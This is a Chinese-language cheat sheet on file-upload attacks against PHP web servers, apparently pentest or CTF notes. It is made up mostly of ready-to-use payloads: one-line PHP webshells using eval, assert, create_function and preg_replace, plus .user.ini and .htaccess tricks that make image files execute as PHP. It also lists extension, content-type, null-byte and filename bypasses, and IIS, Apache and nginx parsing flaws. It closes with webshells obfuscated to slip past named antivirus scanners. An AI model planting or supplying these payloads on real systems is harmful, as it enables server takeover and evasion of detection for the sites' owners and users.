文件上传
PHP一句话木马
经典语句
<?php @eval($_POST['cmd']);?>
其中:
(1) @ 为错误抑制符号
(2) eval 执行php代码
(3) $_POST[‘cmd’] 通过post接收的数据
意思为eval把接受的数据当做php代码执行
其他函数
create_function 函数
<?php
$fun = create_function('',$_POST['a']);
$fun();
?>
call_user_func 函数
<?php
@call_user_func(assert,$_POST['a']);
?>
assert
<?php assert(@$_POST['a']); ?>
preg_replace函数
<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>
file_put_contents 函数
"shell.php" 4L, 96C
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("shell2.php", $test);
?>
配置文件
user.ini
可以在.user.ini中设置php.ini中PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini
在p牛的文章中提到了两个有趣的设置:auto_prepend_file和auto_append_file
我们再到手册中看了下这两个设置的定义:
大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);
这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)
htacess
1、基本作用:
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess的用途范围主要针对当前目录。
2、启用.htacess,启用AllowOVerride
# payload
AddType application/x-httpd-php .jpg
SetHandler application/x-httpd-php
绕过
script
GIF89a
<script language='php'>system('cat /flag');</script>
content-type
content-type:
image/jpeg
image/png
image/gif
text/php
text/plain
黑名单
php3
php5
phtml
pHp3
大小写双写绕过
pHp
PhP
pHP
pphphp
DATA绕过
::)DATA ##Windows会自动去掉末尾的::\)DATA
%00截断
在url中%00表示ascii码中的0,而ascii中0作为特殊字符保留,表示字符串结束
限制条件:
php版本要小于5.3.4,5.3.4及以上已经修复该问题
magic_quotes_gpc需要为OFF状态
GET传参,直接在后面输入%00即可,在GET传参中url会把%00解码成空字符
POST传参,需要把%00进行url编码,在POST传参中,%00不会被url解码
图片头
GIF89a
js绕过
关闭js
特殊文件名绕过
发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。
IIS解析漏洞
V6.0
1 目录解析以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。
2 文件解析*.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。IIS6.0 默认的可执行文件除了asp还包含这三种 *.asa *.cer *.cdx3 默认解析.asp .aspx .ashx .asa .cer这是系统默默认的后缀名
Apache解析漏洞
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。比如xxx.php.rar对apache来说rar是不可解析的,所以就会解析成xxx.php
nginx解析漏洞
开启cgi:SCRIPT_NAME FASTCGI:
www.xx.com/a.jpg/.php(任何不存在文件)-----可以解析为.php文件
a.jpg:<?php phpinfo();?>
a.php%00.jpg----解析为a.php
过查杀
能过河马,过不了D盾
<?php
$b=&$a;
$a=$_POST['a'];
$c=&$b;
eval(`/**123**/`.$c);
?>
能过D盾
<?php
$do = 'todo';
$$do =$_POST['q'];
eval(`/**123**/`.$todo);
?>